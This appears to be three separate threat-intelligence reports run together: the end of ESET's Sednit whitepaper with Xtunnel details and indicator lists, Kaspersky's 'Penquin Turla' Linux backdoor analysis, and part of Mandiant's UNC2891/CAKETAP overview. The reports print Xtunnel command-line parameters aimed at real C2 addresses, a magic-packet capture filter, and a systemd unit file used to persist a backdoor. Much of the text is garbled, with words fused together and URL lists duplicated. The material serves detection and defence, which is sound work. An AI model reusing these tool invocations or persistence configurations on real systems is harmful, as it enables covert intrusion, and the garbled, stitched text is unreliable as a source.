AnotherHTTPrequestheaderhardcodedinXtunnel is Accept-Language: ru-RU,ruq0.8,en-USq0.6,enq0.4,whichinterestinglycontains thelanguagecoderu-RU.Thisheadermayhavebeencopiedfromarequest madefromacomputerwhosedefaultlanguageisRussian.
Code Obfuscation (July 2015) InJuly2015,Xtunnelbinarieschangeddrasticallyfromasyntacticpointofview,duetotheintroduction ofcodeobfuscation.
ThisobfuscationwasappliedonlytoXtunnel-specificcode,whilestatically linkedlibrarieswereleftuntouched.
Themethodemployedisamixofclassicobfuscationtechniques, likeinsertionofjunkcodeandopaquepredicates[30].
Consequently,Xtunnelbinariesarenowabout2MBinsize,whilethepreviousnon-obfuscatedversions wereabout1MBwithmostofthatbeingthestaticallylinkedOpenSSLlibrary.
Theobfuscatedversion is,ofcourse,muchhardertounderstandand,toillustratethat,thefollowingFiguresshowthecontrol flowgraph(CFG)[31]ofasmallXtunnelfunction,beforeandafterobfuscation.
Figure 27.1 Xtunnel CFG before obfuscation -Si 176.31.96.178 -Sp 443 -Pi 10.30.0.47 -Pp 8080 -SSL -Si 46.183.216.209 -Sp 443 -Pi 10.30.0.11 -Pp 8080 -SSL -Si 95.215.46.27 -Sp 443 -HTTP En Route with Sednit 85 Figure 27.2 Xtunnel CFG after obfuscation Whilethecontrolflowhasbeenheavilyobfuscated,strangelythestrings anddataarekeptinplaintext.
Wespeculatethatthedevelopersapplied an(unknown)codeobfuscationtool,whichwasenoughtoachievetheir goalprobablybypassingsomesecurityproducts.
Conclusion and Open Questions WebelieveXtunneltobeofhighimportancetotheSednitoperators,despitethequestionable qualityofthecodeaswediscussedintheanalysis.
Inparticular,itistheonlySednitcomponent weknowwithheavycodeobfuscation.
Additionally,thenumerousfeaturesaddedoverthelast threeyearsindicateanongoingdevelopmenteffort.
Finally,wewouldliketostressthatouranalysisissolelybasedonthecapabilitiesfoundinthebinaries.
Inparticular,wedonothavein-the-wildexamplesonhowXtunnelisdeployed,andwhatkind ofnetworktrafficisusuallyforwarded.
En Route with Sednit 86 ClOSInG REMaRkS Inordertoperformitsespionageactivities,theSednitgroupmainlyreliesontwobackdoors,Xagent andSedreco,whichwereintensivelydevelopedoverthepastyears.
Similarly,notableefforthasbeen investedintoXtunnel,inordertopivotinastealthyway.
Overall,thesethreeapplicationsshould beaprimaryfocustoanyonewantingtounderstandanddetecttheSednitgroupsactivities.
Nevertheless,thespyingandpivotingcapabilitiesofSednitarenotlimitedtothesoftware describedinthissecondpartofourwhitepaper.
Forexample,theyregularlydeploythefollowing ontargetcomputers: Passwordretrievaltoolsforbrowsersandemailclientssomeofthesetoolsarecustom, whileothersarepubliclyavailable(liketheSecurityXplodedtools[32]) Windowspasswordretrievaltools,withcustombuildsoftheinfamousmimikatz[33] andsomecustomtools Acustomtooltotakeregularscreenshotsofthetargetcomputer Moreover,theSednitgroupcreatednumeroussmallexecutablestoperformspecifictasks,like copyingorremovingfiles.
Thedevelopersseemthereforetocloselyfollowtheoperationalneeds ofthegroup,causingustospeculatethattheyarenotoutsiderspaidforaone-timejob, butfully-fledgedmembersofthegroup.
En Route with Sednit 87 IndICaTORS Of COMPROMISE Xagent ESET Detection Names Linux/Fysbis Win32/Agent.
VQQ Win32/Agent.
WGJ Win32/Agent.
WLF Win32/Agent.
XIO Win32/Agent.
XIP Win32/Agent.
XPY Win32/Agent.
XPZ Win32/Agent.
XVD Win32/Agent.
XWX Win64/Agent.
ED Win64/Agent.
EZ iOS/XAgent.
A iOS/XAgent.
B Hashes Windows 072933fa35b585511003f36e3885563e1b55d55a 082141f1c24fb49981cc70a9ed50cda582ee04dd 08c4d755f14fd6df76ec86da6eab1b5574dfbafd 0f04dad5194f97bb4f1808df19196b04b4aee1b8 3403519fa3ede4d07fb4c05d422a9f8c026cedbf 499ff777c88aeacbbaa47edde183c944ac7e91d2 4b74c90c9d9ce7668aa9eb09978c1d8d4dfda24a 4bc32a3894f64b4be931ff20390712b4ec605488 5f05a8cb6fef24a91b3bd6c137b23ab3166f39ae 71636e025fa308fc5b8065136f3dd692870cb8a4 780aa72f0397cb6c2a78536201bd9db4818fa02a a70ed3ae0bc3521e743191259753be945972118b baa4c177a53cfa5cc103296b07b62565e1c7799f c18edcba2c31533b7cdb6649a970dce397f4b13c c2e8c584d5401952af4f1db08cf4b6016874ddac d00ac5498d0735d5ae0dea42a1f477cf8b8b0826 d0db619a7a160949528d46d20fc0151bf9775c32 e816ec78462b5925a1f3ef3cdb3cac6267222e72 f1ee563d44e2b1020b7a556e080159f64f3fd699 Linux 7e33a52e53e85ddb1dc8dc300e6558735acf10ce 9444d2b29c6401bc7c2d14f071b11ec9014ae040 ecdda7aca5c805e5be6e0ab2017592439de7e32c f080e509c988a9578862665b4fcf1e4bf8d77c3e File Names rwte.dll splm.dll lg3.exe api-ms-win-downlevel-profile-l1-1-0.dll En Route with Sednit 88 CCserver Domain Names ciscohelpcenter.com microsoftsupp.com timezoneutc.com inteldrv64.com advpdxapi.com CCserver IP Addresses 185.106.120.101 185.86.149.223 31.220.43.99 5.135.183.154 69.12.73.174 89.32.40.4 92.114.92.125 93.115.38.125 Sedreco ESET Detection Names Win32/Sednit.
AJ Win32/Sednit.
AL Win32/Sednit.
AO Win32/Sednit.
C Win32/Sednit.
E Win32/Sednit.
F Win32/Sednit.
H Win32/Sednit.
S Win32/Sednit.
U Win32/Sednit.
W Win32/Sednit.
Y Win64/Sednit.
B Win64/Sednit.
G Hashes Dropper 4f895db287062a4ee1a2c5415900b56e2cf15842 87f45e82edd63ef05c41d18aeddeac00c49f1aee 8ee6cec34070f20fd8ad4bb202a5b08aea22abfa 9e779c8b68780ac860920fcb4a8e700d97f084ef c23f18de9779c4f14a3655823f235f8e221d0f6a e034e0d9ad069bab5a6e68c1517c15665abe67c9 e17615331bdce4afa45e4912bdcc989eacf284bc Payload 04301b59c6eb71db2f701086b617a98c6e026872 11af174294ee970ac7fd177746d23cdc8ffb92d7 e3b7704d4c887b40a9802e0695bae379358f3ba0 File Names Dropper scroll.dll wintraysys.exe En Route with Sednit 89 Payload advstorshell.dll mfxscom.dll Dropped Files ALLUSERSPROFILE\msd TEMP\__2315tmp.dat TEMP\__4964tmp.dat Registry Keys HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Path HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Path Mutexes \BaseNamedObjects\AZZYMTX \BaseNamedObjects\MutYzAz CCserver Domain Names 1oo7.net akamaisoft.com cloudflarecdn.com driversupdate.info kenlynton.com microsoftdriver.com microsofthelpcenter.info nortonupdate.org softwaresupportsv.com symantecsupport.org updatecenter.name updatesystems.net updmanager.com windowsappstore.net Xtunnel ESET Detection Names Win32/Agent.
RGB Win32/Agent.
RGD Win32/Agent.
RGS Win32/Agent.
RKP Win32/Agent.
RME Win32/Agent.
RMG Win32/Agent.
RMR Win32/Agent.
RQI Hashes 0450aaf8ed309ca6baf303837701b5b23aac6f05 067913b28840e926bf3b4bfac95291c9114d3787 1535d85bee8a9adb52e8179af20983fb0558ccb3 42dee38929a93dfd45c39045708c57da15d7586c 8f4f0edd5fb3737914180ff28ed0e9cca25bf4cc 982d9241147aaacf795174a9dab0e645cf56b922 99b454262dc26b081600e844371982a49d334e5e c637e01f50f5fbd2160b191f6371c5de2ac56de4 c91b192f4cd47ba0c8e49be438d035790ff85e70 cdeea936331fcdd8158c876e9d23539f8976c305 En Route with Sednit 90 db731119fca496064f8045061033a5976301770d de3946b83411489797232560db838a802370ea71 e945de27ebfd1baf8e8d2a81f4fb0d4523d85d6a CCserver IP Addresses 131.72.136.165 167.114.214.63 176.31.112.10 176.31.96.178 192.95.12.5 46.183.216.209 80.255.10.236 80.255.3.93 81.17.30.29 95.215.46.27 PDB Paths H:\last version 23.04\UNvisible crypt version XAPS select - \XAPS_OBJECTIVE\ Release\XAPS_OBJECTIVE.pdb C:\Users\User\Desktop\xaps_through_squid_default_proxy\Release\XAPS_OBJECTIVE.pdb C:\Users\John\Documents\ \XAPS_OBJECTIVE\Release\XAPS_OBJECTIVE.pdb E:\PROJECT\XAPS_OBJECTIVE_DLL\Release\XAPS_OBJECTIVE.pdb En Route with Sednit 91 REfEREnCES 1.
TheWashingtonPost,RussiangovernmenthackerspenetratedDNC,stoleoppositionresearchonTrump, https://www.washingtonpost.com/world/national-security/russian-government-hackers-penetrated-dnc- stole-opposition-research-on-trump/2016/06/14/cf006cb4-316e-11e6-8ff7-7b6c1998b7a0_story.html,June2016 2.
TheWallStreetJournal,GermanyPointsFingeratRussiaOverParliamentHackingAttack,http://www.wsj.com/ articles/germany-points-finger-at-russia-over-parliament-hacking-attack-1463151250,May2016 3.
Reuters,FranceprobesRussianleadinTV5Mondehacking:sources, http://www.reuters.com/article/us-france-russia-cybercrime-idUSKBN0OQ2GG20150610,June2015 4.
ESETVirusRadar,Zero-day,http://www.virusradar.com/en/glossary/zero-day 5.
ESET,SednitEspionageGroupAttackingAir-GappedNetworks,http://www.welivesecurity.com/2014/11/11/sednit- espionage-group-attacking-air-gapped-networks/,November2014 6.
Kaspersky,SofacyAPThitshighprofiletargetswithupdatedtoolset,https://securelist.com/blog/research/72924/ sofacy-apt-hits-high-profile-targets-with-updated-toolset/,December2015 7.
CrowdStrike,BearsintheMidst:IntrusionintotheDemocraticNationalCommittee, https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/,June2016 8.
TrendMicro,PawnStormEspionageAttacksUseDecoys,DeliverSEDNIT,https://www.trendmicro.com/vinfo/us/ security/news/cyber-attacks/pawn-storm-espionage-attacks-use-decoys-deliver-sednit,October2014 9.
FireEye,APT28:AWindowintoRussiasCyberEspionageOperations?,https://www.fireeye.com/blog/ threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html 10.
GitHub,ESETIndicatorsofCompromises,https://github.com/eset/malware-ioc/tree/master/sednit 11.
ESET,Sednitespionagegroupnowusingcustomexploitkit,http://www.welivesecurity.com/2014/10/08/sednit- espionage-group-now-using-custom-exploit-kit/,October2014 12.
MicrosoftDeveloperNetwork,Run-TimeTypeInformation,https://msdn.microsoft.com/en-us/library/b2ay8610.aspx 13.
TrendMicro,PawnStormUpdate:iOSEspionageAppFound,https://blog.trendmicro.com/trendlabs-security- intelligence/pawn-storm-update-ios-espionage-app-found/,February2015 14.
Die.net,pthreads(7)-Linuxmanpage,http://linux.die.net/man/7/pthreads 15.
SQLite,SQLite,https://www.sqlite.org/ 16.
Wikipedia,Cyclicredundancycheck,https://en.wikipedia.org/wiki/Cyclic_redundancy_check 17.
W3C,TheMultipartContent-Type,https://www.w3.org/Protocols/rfc1341/7_2_Multipart.html 18.
MicrosoftDeveloperNetwork,HowtoImplementIconOverlayHandlers, https://msdn.microsoft.com/en-us/library/windows/desktop/hh127442(vvs.85).aspx 19.
MicrosoftDeveloperNetwork,SYSTEMTIMEstructure, https://msdn.microsoft.com/en-us/library/windows/desktop/ms724950(vvs.85).aspx 20.
Wikipedia,LempelZivWelch,https://en.wikipedia.org/wiki/LempelE28093ZivE28093Welch 21.
4coder,LZWAlgorithmImplementation,http://4coder.org/c-c-source-code/243/ 22.
Netzpolitik.org,DigitalAttackonGermanParliament:InvestigativeReportontheHackoftheLeftParty InfrastructureinBundestag,https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative- report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/,June2015 23.
Spiegel,CyberangriffaufdasParlament:BundestagbesttigtAbflussvonE-Mail-Daten,https://www.spiegel.de/ netzwelt/netzpolitik/cyberangriff-bundestag-bestaetigt-diebstahl-von-e-mail-daten-a-1039816.html,June2015 24.
PDBFiles,https://github.com/Microsoft/microsoft-pdbwhat-is-a-pdb 25.
InternetEngineeringTaskForce,TheTransportLayerSecurity(TLS)Protocol, https://tools.ietf.org/html/rfc5246section-1 26.
MicrosoftDeveloperNetwork,WinHttpGetIEProxyConfigForCurrentUserfunction, https://msdn.microsoft.com/en-us/library/windows/desktop/aa384096(vvs.85).aspx 27.
Squid,HomePage,http://www.squid-cache.org/ https://www.washingtonpost.com/world/national-security/russian-government-hackers-penetrated-dnc-stole-opposition-research-on-trump/2016/06/14/cf006cb4-316e-11e6-8ff7-7b6c1998b7a0_story.html https://www.washingtonpost.com/world/national-security/russian-government-hackers-penetrated-dnc-stole-opposition-research-on-trump/2016/06/14/cf006cb4-316e-11e6-8ff7-7b6c1998b7a0_story.html https://www.washingtonpost.com/world/national-security/russian-government-hackers-penetrated-dnc-stole-opposition-research-on-trump/2016/06/14/cf006cb4-316e-11e6-8ff7-7b6c1998b7a0_story.html?hpidhp_rhp-banner-main_dnc-hackers-1145a-banner3Ahomepage2Fstory, http://www.wsj.com/articles/germany-points-finger-at-russia-over-parliament-hacking-attack-1463151250 http://www.wsj.com/articles/germany-points-finger-at-russia-over-parliament-hacking-attack-1463151250 http://www.reuters.com/article/us http://www.virusradar.com/en/glossary/zero http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/ http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/ https://securelist.com/blog/research/72924/sofacy https://securelist.com/blog/research/72924/sofacy https://www.crowdstrike.com/blog/bears https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/pawn-storm-espionage-attacks-use-decoys-deliver-sednit https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/pawn-storm-espionage-attacks-use-decoys-deliver-sednit https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html https://github.com/eset/malware-ioc/tree/master/sednit http://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-using-custom-exploit-kit/ http://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-using-custom-exploit-kit/ https://msdn.microsoft.com/en-us/library/b2ay8610.aspx https://blog.trendmicro.com/trendlabs-security-intelligence/pawn https://blog.trendmicro.com/trendlabs-security-intelligence/pawn Die.net http://linux.die.net/man/7/pthreads https://www.sqlite.org https://en.wikipedia.org/wiki/Cyclic_redundancy_check https://www.w3.org/Protocols/rfc1341/7_2_Multipart.html https://msdn.microsoft.com/en-us/library/windows/desktop/hh127442 https://msdn.microsoft.com/en-us/library/windows/desktop/ms724950 https://en.wikipedia.org/wiki/Lempel http://4coder.org/c-c-source-code/243 Netzpolitik.org https://netzpolitik.org/2015/digital https://www.spiegel.de/netzwelt/netzpolitik/cyberangriff-bundestag-bestaetigt-diebstahl-von-e-mail-daten-a-1039816.html https://www.spiegel.de/netzwelt/netzpolitik/cyberangriff-bundestag-bestaetigt-diebstahl-von-e-mail-daten-a-1039816.html https://github.com/Microsoft/microsoft-pdbwhat-is-a-pdb https://tools.ietf.org/html/rfc5246section-1 https://msdn.microsoft.com/en-us/library/windows/desktop/aa384096 http://www.squid-cache.org En Route with Sednit 92 28.
Wikipedia,HTTPCONNECTtunneling,https://en.wikipedia.org/wiki/HTTP_tunnelHTTP_CONNECT_tunneling 29.
Wikipedia,HTTPpersistentconnection,https://en.wikipedia.org/wiki/HTTP_persistent_connection 30.
Wikipedia,Opaquepredicate,https://en.wikipedia.org/wiki/Opaque_predicate 31.
Wikipedia,Controlflowgraph,https://en.wikipedia.org/wiki/Control_flow_graph 32.
SecurityXploded,HomePage,http://securityxploded.com/ 33.
mimikatz,GitHubpage,https://github.com/gentilkiwi/mimikatz Lastupdated2016-09-0719:38:00EDT https://en.wikipedia.org/wiki/HTTP_tunnel https://en.wikipedia.org/wiki/HTTP_persistent_connection https://en.wikipedia.org/wiki/Opaque_predicate https://en.wikipedia.org/wiki/Control_flow_graph http://securityxploded.com https://github.com/gentilkiwi/mimikatz Table1.Xagent version 2 Linux modules Table2.AgentKernel accepted commands Table3.Xagent version 2 Linux channels Table4.Sedreco payload commands Table5.Xtunnel Parameters Figure1.Timeline of 0-day vulnerabilities exploited by the Sednit group in 2015.
Figure2.Main attack methods and malware used by the Sednit group since 2014, and how they are related Figure3.Xagent major events Figure4.Partial directory listing of Xagent source files Figure5.
Xagent communication workflow Figure6.CryptRawPacket data buffer format Figure7.URL for GET and POST requests, X.X.X.X being the CCserver IP address Figure8.Format of the token value Figure9.Proxy server source files Figure10.Communication workflow between an Xagent infected computer using MailChannel and its CCserver, via a proxy server Figure11.
Email subject generated by the P2 protocol.
Figure12.Dropper workflow with the developers names for each step Figure13.Extract of Sedreco configuration.
The names of the fields are those created by ESETs analysts.
Field sizes are in bytes.
Figure14.Command registrationCMD functions are the commands handlers Figure15.Data flow between Sedreco on a compromised host and its CCserver Figure16.Network contact message format.
Computer name is a variably-sized field Figure17.Inbound file format.
Field sizes are in bytes Figure18.Outbound file format.
Field sizes are in bytes Figure19.Extract of LZW algorithm C source code Figure20.Plugin Init export Figure21.Plugin UnInit export Figure 22.XTunnel major events Figure23.Xtunnel core behavior Figure24.Xtunnel communication workflow Figure25.Extract of T initialization code Figure26.1Message to open tunnel 0x100 on IP address 192.168.124.1 and port 4545 Figure26.2Message to open tunnel 0x200 on domain name test.com and port 4646 Figure27.1Xtunnel CFG before obfuscation Figure27.2Xtunnel CFG after obfuscation
The Penquin Turla Recently, an interesting malicious sample was uploaded to a multi-scanner service.
This immediately triggered our interest because it appears to represent a previously unknown piece of a larger puzzle.
That puzzle is Turla, one of the most complex APTs in the world.
We have written previously about the Turla APT with posts about their Epic Turla operations  and Agent.btz inspiration .
So far, every single Turla sample weve encountered was designed for the Microsoft Windows family, 32 and 64 bit operating systems.
The newly discovered Turla sample is unusual in the fact that its the first Turla sample targeting the Linux operating system that we have discovered.
This newly found Turla component supports Linux for broader system support at victim sites.
The attack tool takes us further into the set alongside the Snake rootkit and components first associated with this actor a couple years ago.
We suspect that this component was running for years at a victim site, but do not have concrete data to support that statement just yet.
The Linux Turla module is a C/C executable statically linked against multiple libraries, greatly increasing its file size.
It was stripped of symbol information, more likely intended to increase analysis effort than to decrease file size.
Its functionality includes hidden network communications, arbitrary remote command execution, and remote management.
Much of its code is based on public sources.
Md5 Size Verdict Name 0994d9deb50352e76b0322f48ee576c6 627.2 kb N/A (broken file) 14ecd5e6fc8e501037b54ca263896a11 637.6 kb HEUR:Backdoor.
Linux.
Turla.gen General executable characteristics: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, stripped Statically linked libraries: glibc2.3.2 - the GNU C library http://securelist.com/analysis/publications/65545/the-epic-turla-operation/ http://securelist.com/blog/virus-watch/58551/agent-btz-a-source-of-inspiration/ http://www.baesystems.com/what-we-do-rai/the-snake-campaign openssl v0.9.6 - an older OpenSSL library libpcap - tcpdumps network capture library Hardcoded CC, known Turla activity: news-bbc.podzone[.
]org The domain has the following pDNS IP: 80.248.65.183 80.248.65.183 aut-num:        AS30982 announcement:   80.248.65.0/24 as-name:        CAFENET descr:          CAFE Informatique et telecommunications admin-c:        YN2-AFRINIC tech-c:         AN39-AFRINIC org:            ORG-CIet1-AFRINIC mnt-by:         AFRINIC-HM-MNT mnt-lower:      CAFENET-NOC source:         AFRINIC  Filtered Note: the CC domain is currently sinkholed by Kaspersky Lab.
Functional description The sample is a stealth backdoor based on the cd00r sources.
This Turla cd00r-based malware maintains stealth without requiring elevated privileges while running arbitrary remote commands.
It cant be discovered via netstat, a commonly used administrative tool.
It uses techniques that dont require root access, which allows it to be more freely run on more victim hosts.
Even if a regular user with limited privileges launches it, it can continue to intercept incoming packets and run incoming commands on the system.
Startup and Execution To start execution, the process requires two parameters: ID (a numeric value used as a part of the magic packet for authentication) and an existing network interface name.
The parameters can be inputted two different ways: from STDIN, or from dropper a launching the sample.
This is NOT a command-line parameter, its a real prompt asking the attacker user to provide the input parameters.
After the ID and 80.248.65.183 aut-num:        AS30982 announcement:   80.248.65.
http://www.phenoelit.org/stuff/cd00r.c interface name are entered and the process launched, the backdoors process PID is returned.
Here is a screenshot of this simple interface: While there is no initial network callback, a section of code maintains a hardcoded c2 string news- bbc.podzone[.
]org.
This fully qualified domain name was first set up in 2010, suggesting that this binary is fairly recent in the string of Turla campaigns.
Also, while we havent seen additional file download activity from this server by this tool, it likely participated as a file server of sorts.
Magic Packets for Remote Command Execution The module statically links PCAP libraries, and uses this code to get a raw socket, applies a filter on it, and captures packets, checking for a specific condition (the original cd00r first used this method, based on ports and SYN-packets).
This condition is expressed here (it is based on the ID value input at startup by the attacker): ID  123 Filter  (tcp[8:4]  0xe007ffff  0xe003bebe) or (udp[12:4]  0xe007ffff  0xe003bebe) ID 321 Filter  (tcp[8:4]  0xe007ffff  0x1bebe) or (udp[12:4]  0xe007ffff  0x1bebe) In simple terms, it checks for an ACK number in the TCP header, or the second byte from the UDP packet body.
If such a packet is received and the condition check is successful, execution jumps to the packet payload contents, and it creates a regular socket.
The backdoor handles this socket as a file with read/write operations.
Its not the typical recv/send used in this code.
It uses this new socket to connect to the source address of the magic packets.
Then it reports its own PID and IP to the remote address, and starts an endless loop for receiving remote commands.
When a command arrives, it is executed with a /bin/sh -c script.
Further analysis of the samples functionality will be updated here.
Conclusions Although Linux variants from the Turla framework were known to exist, we havent seen any in the wild yet.
This specific module appears to have been put together from public sources with some added functionality from the attackers.
Some of the malicious code appears to be inactive, perhaps leftovers from older versions of the implant.
Perhaps the most interesting part here is the unusual command and control mechanism based on TCP/UDP packets, as well as the CC hostname which fits previously known Turla activity.
The discovery of this Turla module rises one big question: how many other unknown Turla variants exist?
Update: Since the publishing of this blogpost, we have discovered another Linux Turla module, which apparently represents a different malware generation than the previously known samples: The new sample was heuristically detected by our product due to similarities with the previously discovered samples.
Md5 Size Verdict Name 19fbd8cbfb12482e8020a887d6427315 801,561 bytes HEUR:Backdoor.
Linux.
Turla.gen Related research: BAE Systems - The Snake Campaign http://25zbkz3k00wn2tp5092n6di7b5k.wpengine.netdna-cdn.com/files/2014/12/turla_linux_2.png http://www.baesystems.com/what-we-do-rai/the-snake-campaign Kaspersky Lab - The Epic Turla Operation TR-25 Analysis - Turla / Pfinet / Snake/ Uroburos by CIRCL.LU Uroburos: the snake rootkit, technical analysis by deresz and tecamac Agent.
BTZ - A Source of Inspiration?
http://securelist.com/analysis/publications/65545/the-epic-turla-operation/ https://www.circl.lu/pub/tr-25/ http://artemonsecurity.com/uroburos.pdf http://securelist.com/blog/virus-watch/58551/agent-btz-a-source-of-inspiration/
1/8 Have Your Cake and Eat it Too?
An Overview of UNC2891 mandiant.com/resources/unc2891-overview The Mandiant Advanced Practices team previously published a threat research blog post that provided an overview of UNC1945 operations where the actor compromised managed services providers to gain access to targets in the financial and professional consulting industries.
Since that time, Mandiant has investigated and attributed several intrusions to a threat cluster we believe has a nexus to this actor, currently being tracked as UNC2891.
Through these investigations, Mandiant has discovered additional techniques, malware, and utilities being used by UNC2891 alongside those previously observed in use by UNC1945.
Despite having identified significant overlaps between these threat clusters, Mandiant has not determined they are attributable to the same actor.
UNC2891 intrusions appear to be financially motivated and in some cases spanned several years through which the actor had remained largely undetected.
UNC2891 demonstrated fluency and expertise in Unix and Linux environments, mostly through the targeting of Oracle Solaris based systems with TINYSHELL and SLAPSTICK backdoors.
Mandiant observed UNC2891 operate with a high degree of OPSEC and leverage both public and private malware, utilities, and scripts to remove evidence and hinder response efforts.
Mandiant discovered a previously unknown rootkit for Oracle Solaris systems that UNC2891 used to remain hidden in victim networks, we have named this CAKETAP.
One Variant of CAKETAP manipulated messages transiting a victims Automatic Teller Machine (ATM) switching network.
It is believed this was leveraged as part of a larger operation to perform unauthorized cash withdrawals at several banks using fraudulent bank cards.
Extensive Use of SLAPSTICK and TINYSHELL Backdoors Like past UNC1945 intrusions, Mandiant observed UNC2891 make extensive use of the Pluggable Authentication Module (PAM) based backdoor we track as SLAPSTICK to aid with credential harvesting, and to provide backdoor access to compromised machines in victim networks.
As detailed in our previous blog post, SLAPSTICK provides persistent backdoor access to infected systems with a hard-coded magical password, it also logs authentication attempts and corresponding passwords in an encrypted log file.
Although this is expected to have tremendously assisted UNC2891 with credential harvesting and lateral movement activities, it also provided valuable information to Mandiant Incident Responders.
Although SLAPSTICK log files were often timestomped, Mandiant was able to decode them and trace some of the actors lateral movement activities through the usage of the backdoor provided magical password.
Figure 1: Example SLAPSTICK decoded log (fabricated) Alongside SLAPSTICK, UNC2891 often installed a custom variant of the publicly available TINYSHELL backdoor.
UNC2891 TINYSHELL backdoors leveraged an external encrypted configuration file and some variants included additional functionality, such as the ability to communicate via a HTTP proxy with basic authentication.
In line with the groups familiarity with Unix and Linux based systems, UNC2891 often named and configured their TINYSHELL backdoors with values that masqueraded as legitimate services that might be overlooked by investigators, such as systemd (SYSTEMD), name service cache daemon (NCSD), and the Linux at daemon (ATD).
Table 1: Observed TINYSHELL file paths TINYSHELL Backdoor File Paths TINYSHELL Configuration File Paths /usr/lib/libhelpx.so.1 /usr/lib/systemd/systemd-helper /usr/sbin/nscd /usr/lib/libatdcf.so /usr/lib/libnscd.so.1 /usr/lib/libsystemdcf.so /var/ntp/ntpstats/1 Example Decoded configuration https://www.mandiant.com/resources/unc2891-overview https://www.mandiant.com/resources/live-off-the-land-an-overview-of-unc1945 https://www.mandiant.com/resources/live-off-the-land-an-overview-of-unc1945 https://github.com/creaktive/tsh 2/8 Table 2: Example decoded TINYSHELL configuration (systemd variant) pm_systemd_mag 32-character string systemd_nme system id pm_systemd_adr C2 IP address/domain pm_systemd_prt 443 or 53 pm_systemd_tme 300 systemd_non1 none systemd_non2 none systemd_non3 none systemd_non4 none In the case of the systemd variant, UNC2891 also leveraged systemd service unit files for persistence of the TINYSHELL backdoor.
Table 3: Service unit file used for TINYSHELL persistence /usr/lib/systemd/system/systemd-helper.service [Unit] DescriptionRebuild Hardware Database [Service] Typeforking ExecStart/lib/systemd/systemd-helper [Install] WantedBymulti-user.target Based on analyzed configurations, UNC2891 had configured TINYSHELL backdoors in a multi-hop structure that leveraged several compromised internal servers for command and control.
In one case, Mandiant found evidence that suggests the actor had chained different TINYSHELL variants together to obtain remote access to a server inside a network segment with network restrictions.
To keep their network of TINYSHELL connections hidden, UNC2891 had installed and configured a rootkit to filter out these connections from network connection related APIs (keep reading for details on the CAKETAP rootkit).
UNC2891 configured remotely accessible systems with TINYSHELL backdoors that used dynamic DNS domains for their external command and control channel.
These domains were created per- host and were not used more than once, the subdomains sometimes resembled the hostname of the compromised machine.
Mandiant was unable to collect passive DNS data for these dynamic DNS domains, suggesting that UNC2891 had likely enabled IP resolution for short periods of time when access to the network was required.
At one victim, these TINYSHELL backdoors were configured to perform communications using TCP over port 53 and 443, likely as a mechanism to bypass outbound network protections, blend in with existing traffic, and evade detection.
3/8 Figure 2: Example of TINYSHELL command and control used by UNC2891 STEELHOUND, STEELCORGI and Environment Variable Keying UNC2891 often made use of the STEELCORGI in-memory dropper which decrypts its embedded payloads by deriving a ChaCha20 key from the value of an environment variable obtained at runtime.
In many cases, Mandiant was unable to recover the requisite environment variables to decrypt the embedded payloads.
However, in the limited samples we were able to decrypt, UNC2891 had deployed different versions of an extensive toolkit which appears to be developed under the name SUN4ME.
SUN4ME contains tools for network reconnaissance, host enumeration, exploitation of known vulnerabilities, log wiping, file operations, as well as common shell utilities.
Yoroi has previously published information about this toolkit following our previous blog post on UNC1945s usage of STEELCORGI.
Mandiant discovered UNC2891 leveraging a similar in-memory dropper that also used environment variables to decrypt its embedded payload but instead relied on RC4 encryption, we have named this STEELHOUND.
In addition to functioning as dropper for an embedded payload, STEELHOUND is also able to encrypt new payloads by encrypting a target binary and writing it to disk along with a copy of itself and an end- of-file configuration.
WINGHOOK and WINGCRACK During these investigations, Mandiant also discovered a family of keylogger malware we have named WINGHOOK and WINGCRACK.
WINGHOOK is a keylogger for Linux and Unix based operating systems.
It is packaged as a shared library (SO file) that hooks the read and fgets functions, which are two common functions used for processing user input.
The captured data is stored in an encoded format in the directory /var/tmp/ with a filename that begins with .zmanDw.
WINGCRACK is a utility that can decode and display the content of files containing encoded keylog data from WINGHOOK.
The malware author appears to refer to these encoded files as schwing files.
Utilities Observed Mandiant previously observed UNC1945 use a large amount of different public and private tools during their intrusions, and this was also true for UNC2891.
Mandiant discovered additional utilities that were leveraged by UNC2891: BINBASH is a simple ELF utility that executes a shell after setting the group ID and user ID to either root or specified values.
BINBASH appears to be a compilation of the source code.
WIPERIGHT is an ELF utility that clears specific log entries on Linux and Unix based systems.
It can remove entries associated with a given user in the lastlog, utmp/utmpx, wtmp/wtmpx, and pacct logs.
It appears to have originated from available source code, and possibly a more recent version.
https://yoroi.company/research/opening-steelcorgi-a-sophisticated-apt-swiss-army-knife/ https://www.mandiant.com/resources/live-off-the-land-an-overview-of-unc1945 https://packetstormsecurity.com/files/23336/Slx2k001.txt.html http://www.afn.org/afn28925/wipe.c https://packetstormsecurity.com/files/23336/Slx2k001.txt.html 4/8 MIGLOGCLEANER is another ELF utility that wipes logs or remove certain strings from logs on Linux and Unix based systems.
It is publicly available on GitHub.
Whilst seemingly uncommon amongst threat actors, UNC2891 frequently used the uuencoding scheme to encode and decode files, such as malware binaries or files containing output from extensive host enumeration scripts.
The actor often leveraged simple Perl wrapper scripts that performed uuencoding and uudecoding functions.
CAKETAP CAKETAP is a kernel module rootkit that UNC2891 deployed on key server infrastructure running Oracle Solaris.
CAKETAP can hide network connections, processes, and files.
During initialization, it removes itself from the loaded modules list and updates the last_module_id with the previously loaded module to hide its presence.
A hook is installed into the function ipcl_get_next_conn, as well as several functions in the ip module.
This enables CAKETAP to filter out any connections that match an actor-configured IP address or port (local or remote).
One way to identify CAKETAP running on a Solaris system is to check for the presence of this hook.
